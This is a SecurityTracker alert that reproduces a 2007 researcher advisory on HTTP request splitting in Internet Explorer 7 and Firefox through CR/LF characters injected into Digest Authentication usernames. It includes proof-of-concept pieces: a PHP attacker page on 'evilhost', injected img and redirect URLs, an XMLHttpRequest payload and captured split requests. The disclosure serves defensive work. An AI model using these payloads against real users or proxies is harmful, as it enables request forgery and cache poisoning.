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Category:   Application (Web Browser)  >   Microsoft Internet Explorer Vendors:   Microsoft
Microsoft Internet Explorer Digest Authentication Bug Lets Remote Users Conduct HTTP Request Splitting Attacks
SecurityTracker Alert ID:  1017969
SecurityTracker URL:
CVE Reference:   CVE-2007-2291   (Links to External Site)
Updated:  May 19 2008
Original Entry Date:  Apr 26 2007
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 7.0.5730.11
Description:   A vulnerability was reported in Microsoft Internet Explorer. A remote user can conduct HTTP request splitting attacks.

A remote user (server) can return a specially crafted HTTP Digest Authentication value to cause the target client to generate a split request.

Stefano `Wisec` Di Paola discovered this vulnerability.

The original advisory is available at:

Impact:   A remote server can send an HTTP response that will cause an arbitrary request to be generated by the target user's browser.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  IE 7 and Firefox Browsers Digest Authentication Request Splitting

Content-Type: text/plain
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 Title             IE 7 and Firefox Browsers Digest Authentication
 		   Request Splitting

 Systems Affected  Internet Explorer 7.0.5730.11

 Severity          Medium

 Vendor   &


 Authors           Stefano `Wisec` Di Paola (

 Discovery Date    20070213

 Release Date      20070425

I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:

(About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 ( Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:


The first time the client requests the document, no Authorization
header is sent, so the server responds with:

      HTTP/1.1 401 Unauthorized
      WWW-Authenticate: Digest

The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username=3D"Mufasa",


So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src=3D"http://user:pass@host/paget">

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<--8<--8<--

header('Set-Cookie: PHPSESSID=3D6555');
if((int)intval($_COOKIE['PHPSESSID']) !=3D=3D 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm=3D"", \
qop=3D"auth,auth-int", nonce=3D"dcd98b7102dd2f0e8b11d0f600bfb0c093",\
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=3D0");
header('Connection: keep-alive');
<meta http-equiv=3D'Connection' content=3D"keep-alive"></head>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');


Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img  id=3D"d" src=3D"http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:


HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=3D6555
WWW-Authenticate: Digest realm=3D"",
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=3D15, max=3D100
Content-Type: text/html; charset=3DUTF-8


and then Firefox resend its request:


GET req.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:
Gecko/20060601 Firefox/ (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username=3D"user
name", realm=3D"",
nonce=3D"dcd98b7102dd2f0e8b11d0f600bfb0c093", uri=3D"/req.php",
opaque=3D"5ccc069c403ebaf9f0171e9517f40e41", qop=3Dauth, nc=3D00000001,
Cookie: PHPSESSID=3D6555


Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.=20

IV) Firefox Add-On

A redirection could be used:

<img  src=3D"http://evilhost/redir.php">

With redir.php :

header("Location: http://user%0aname:ds@avilhost/req.php");

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable.=20
Let's use a standard request with XMLHttpRequest:


x=3Dnew XMLHttpRequest();"POST","req.php?",false,"user\r\nname","pass");
x.onreadystatechange=3Dfunction (){
   if (x.readyState =3D=3D 4){

// The payload with a request to a page with evil content


This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, one for all is that in
presence of a proxy, local cache could be poisoned. But for some more
attack have a look at references.

Note: there is some difference between IE and Firefox, but i'll let you
as homework


Stefano di Paola is credited with the discovery of this vulnerability.


Copyright (c) 2007 Stefano di Paola

Note: this exploit is DUAL LICENSED,=20
1. if you'll use it for personal and non-profit purposes you can=20
   apply GPL v2 and above.=20
2. In the case you plain to:=20
   a. use our code in any commercial context
   b. implement this code in your non-GPL application
   c. use this code during a Penetration Test
   d. make any profit from it=20
  you need to contact me in order to obtain a _commercial license_.

For more Informations about Dual Licensing:

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Stefano Di Paola
Software & Security Engineer


Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Questa =?ISO-8859-1?Q?=E8?= una parte del messaggio
	firmata digitalmente

Version: GnuPG v1.4.3 (GNU/Linux)




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